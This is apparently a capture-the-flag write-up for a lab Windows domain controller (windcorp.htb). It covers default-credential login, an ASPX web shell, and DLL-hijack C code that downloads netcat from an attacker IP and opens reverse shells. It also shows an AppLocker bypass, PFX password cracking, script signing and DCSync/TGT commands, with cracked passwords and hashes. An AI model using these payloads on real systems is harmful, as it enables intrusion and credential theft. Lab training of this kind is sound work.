On the web page we get a page under consturction page also at the bottom we can sess an option to login
Since we don't know the creds, we can try the default one but they didn't worked
Running disearch
to fuzzz for files and directories with don't get anyhting as most of the paths we get result in 403 status code
Looking at robots.txt
we do get some entries
But still we were either getting 403,page not found or redirecting us back to login page except for /Setup
which only tells that setup is disabled
So in the end I decided to just sign up for an account
And after logging there wasn't anything that we could do with a normal user on this site
After looking for default credentials which I should have done that before, found a forum for mojoportal which talks about the default admin username to be admin@admin.com
and the password admin
https://www.mojoportal.com/Forums/Thread.aspx?pageid=5&t=2902~-1
This worked and we are now logged in as the administrator
There were a lot of options and I spend a lot of time in understanding what do I need to do here as there wasn't any blog talking about exploits that could give you rce
In filemanager we do see an option to upload files, since this is a windows server, it will be executing aspx files so we need to upload aspx to get command execution, I created a simple aspx file to test if we can upload this file
This gives us an error, so we are not allowed to upload aspx files, instead of uploading an apsx file we can copy the contents and change the extension
It won't show that our aspx file is copied in the current directory
If we check the System logs
we'll see a path /Data/Sites/1/media/
which is supposed to where that htmlfragment
directory is
This was is loading the htm file that we just edit but it wasn't loading the aspx file for some reason
So I just went with copy pasting aspx web shell which I found from github and see if that will work as maybe need to import something to execute aspx files
https://raw.githubusercontent.com/tennc/webshell/master/Backdoor%20Dev%20Shells/devshell.aspx
And after editing and copying the file with aspx , visiting the link again, the aspx web shell worked
We can execute the commands as the web user
Looking at the perrmissions of this user, we are not in any interesting groups
Going into C:\Users
we see some users
In C:\ dirve we see an interesting folder called Get-bADpasswords
which is a powershell script that is use for finding bad or weak passwords for the AD users
https://github.com/improsec/Get-bADpasswords
We can get the results of this tool by going to C:\Get-bADpasswords\Accessible\CSVs
Downloading the csv file we can see that BeatriceMill
has a weak passsword and the hash of this account is 9cb01504ba0247ad5c6e08f7ccae7903
. I used crackstation to see if we can crack this hash
But we weren't able to authenticate on smb, so I tried to use the credentials on ldap by using windapsearch
windapsearch --dc 10.10.11.147 -d 'windcorp' -u 'BeatriceMill' -p '!!!!ilovegood17' -m users
This returned 3538
users so could be that we are not allowed to access smb but still it's an issue that we can't remote access through Beatrice if either smb or winrm is not available to us
To get a shell as Beatrice we can abuse IIS impersonatioin that will allow the web application to run the code under Beatrice
By following this we can copy the code for impersonatioin for Visual C# .NET
In this section of the code we can call the aspx reverse shell function also replace the username,domain and the password for Beatrice so the final aspx file would look like this
https://gist.github.com/AbdullahRizwan101/62cd19d0ad3ac2ebafcd6f4a9cea63c1
https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx
After uploading it and getting a reverse shell as BeatriceMill
Looking into C:\
we can see a folder named share
Here there's autoit3
and furhter going into scripts
folder we can see an autoit3 script having 7zip script and a dll, we can check the autoit3 script it's using that dll
This is where we can do an attack called DLL Hijacking
where we would be replacing contents of 7-zip64.dll
and let the autoit3 execute the 7zip script allowing it to run our dll
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking
We can try making the dll execute whoami
command to see with which user this script is being executed
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\Windows\\Temp\\uwu.txt");
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Compiling it to a windows shared library using mingw32
https://stackoverflow.com/questions/2033997/how-to-compile-for-windows-on-linux-with-gcc-g
x86_64-w64-mingw32-gcc ./check.c -shared -o 7-zip64.dll
And after a few minutes we'll see the text file which we appended the output of whoami
command resulting to the user ginawild
But getting a reverse shell wasn't simple as either netcat or a reverse shell payload was being flagged and getting removed
So checking the Applocker
with the powershell command
Get-AppLockerPolicy -effective -xml
This returned a lot of stuff, so we need to transfer it to our host machine, I used tmux
's copy option by using the prefix keys ctrl+b + [
to enter in copy mode , then ctrl+space
to start copy selection , ctrl+w
to end selection and ctrl+b +]
to paste in tmux pane
We can then just save this in a file and open the xml in a browser
Our focus should be on exe as we want to run netcat, so expanding this, we'll see a policy for allowing exe file to be executed
Here it's allowing Bginfo64.exe
to be executed and it's not checking the hash of the file so we could replace it with our nc.exe
and make it execute it through that dll but before that let's see what permissions are there for Bginfo exe
https://superuser.com/questions/322423/explain-the-output-of-icacls-exe-line-by-line-item-by-item
Checking what these permissions mean, the ITDep
group has read,execute and is a write owner for this exe, ginawild belongs to this group so we can replace this with nc64.exe
through the dll and also make it execute it
Make sure to use 1.12 version of netcat from here as the defender is going to flag it.
https://eternallybored.org/misc/netcat/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("curl 10.10.14.18:3333/nc64.exe -o C:\\share\\Bginfo64.exe);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
After it's going to be replaced we can then get a reverse shell
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("C:\\share\\Bginfo64.exe 10.10.14.18 5555 -e cmd.exe");
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
After having a reverse shell as gina, I didn't found anything in directories but in the recycle bin there was a pfx file that we can read
https://superuser.com/questions/395015/how-to-open-the-recycle-bin-from-the-windows-command-line
If we try to read this pfx file, it's protected with a password
I tried using beatrice's password but the shell got hung up, so to transfer this on my host machine I used cerutil
to convert the contents to base64
certutil -encode .\cert.pfx cert.b64
But we don't want BEGIN CERTIFICATE
as it won't get deecoded properly, we can remove these keywords with
findstr /v CERTIFICATE .\cert.b64 > removed_headers.b64
Copied the content into the tmux buffer and pasted on my terminal
Using pfx2john
we can generate the pfx hash and crack it using john
python2 /opt/john/run/pfx2john.py ./cert.pfx > hash
john ./hash --wordlist=/opt/SecLists/Passwords/rockyou.txt
Now with this pfx certificate we can sign a powershell script and let it execute because if we go back to C:\Get-bADpasswords
, the script Get-bADpasswords.ps1
is being executed through a background process and it's signed
Checking what permissions are there on this script
We have the permissions to modify this script, so let's try replacing the contents to execute netcat which is the Bginfo64.exe
Start-Process -FilePath "C:\Share\Bginfo64.exe" -ArgumentList "10.10.16.20 7777 -e powershell.exe"
Right now, this script isn't signed, so it can't be run on the system
We can sign this powershell script with
$CertPath ="C:\Get-bADpasswords\cert.pfx"
$CertPass = "abceasyas123"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($CertPath, $CertPass)
Set-AuthenticodeSignature -Certificate $Cert -FilePath C:\Get-bADpasswords\Get-bADpasswords.ps1
But it didn't work as the powershell was running in constrained mode
There's a tool to sign to sign the files called signtool
https://docs.microsoft.com/en-us/windows/win32/seccrypto/signtool
Issue is that we can't download it directly, we need to install Windows Development kit, so I had to switch to my windows machine and install the developement kit only which is about 1.9 GB
After installing the development kit, it should be in
C:\Program Files (x86)\Windows Kits\10\bin\x64
Transferred signtool.exe
on the target machine and then ran the command to sign the script
https://www.praveenc.com/posts/code-signing-on-windows/
.\signtool.exe sign /f C:\Users\ginawild\cert.pfx /p abceasyas123 C:\Users\ginawild\Get-bADpasswords.ps1
.\signtool.exe sign /f C:\Users\ginawild\cert.pfx /p abceasyas123 C:\Users\ginawild\Get-bADpasswords.ps1
After this copy it to C:\Get-bADpasswords
and run run.vbs
to trigger this powershell script
Now getting a shell as this user, we can see a folder named Credentials
in Documents folder having a passowrd in form of secure string
Rabbit Hole
Reading this file we get a secure string password
I looked up a video by ippsec on Reel machine in which he showcased how to convert it back to plain text
https://www.youtube.com/watch?v=ob9SgtFm6_g&t=1973s&ab_channel=IppSec
But this password wasn't for bpassrunner as there was user called mailuser
in the username folder so this was a rabbit hole
Checking in in which groups this user belongs to
We are in Account Operators
group with which can we add users into the domain
So after digging too much for, this account had replicatioin rights , meaning that we can get the hash of any user we want
https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/
Get-ADReplAccount -SamAccountName Administrator -Server 'hathor.windcorp.htb'
But this wasn't working on winrm or on smb
We can get a golden ticket for the administrator using impacket's get-TGT.py
It gives an error regarding "Clock skew too great", we just need to synchronize the time with domain controller using ntpdate windcrop
and want the ntp to set to false as it's going to keep updating the time zone
timedatectl set-ntp false
sudo ntpdate windcorp
sudo python3 /opt/impacket/examples/getTGT.py windcorp.htb/Administrator -hashes :b3ff8d7532eef3
96a5347ed33933030f
We can also dump NTDS.dit using the administrator's ticket
